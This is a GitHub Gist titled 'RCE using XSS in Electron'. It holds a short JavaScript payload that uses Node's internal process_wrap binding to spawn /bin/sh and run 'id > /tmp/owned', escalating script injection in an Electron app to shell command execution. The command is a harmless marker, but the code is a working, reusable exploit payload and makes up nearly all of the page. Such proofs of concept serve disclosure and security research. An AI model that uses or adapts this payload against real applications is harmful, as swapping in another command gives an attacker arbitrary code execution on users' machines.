-
-
Save franquis/64cabb7ae573ae56ba6c33bc5c1cd21c to your computer and use it in GitHub Desktop.
RCE using XSS in Electron
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Process = process.binding('process_wrap').Process; | |
var proc = new Process(); | |
proc.onexit = function(a,b) {}; | |
var env = process.env; | |
var env_ = []; | |
for (var key in env) env_.push(key+'='+env[key]); | |
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment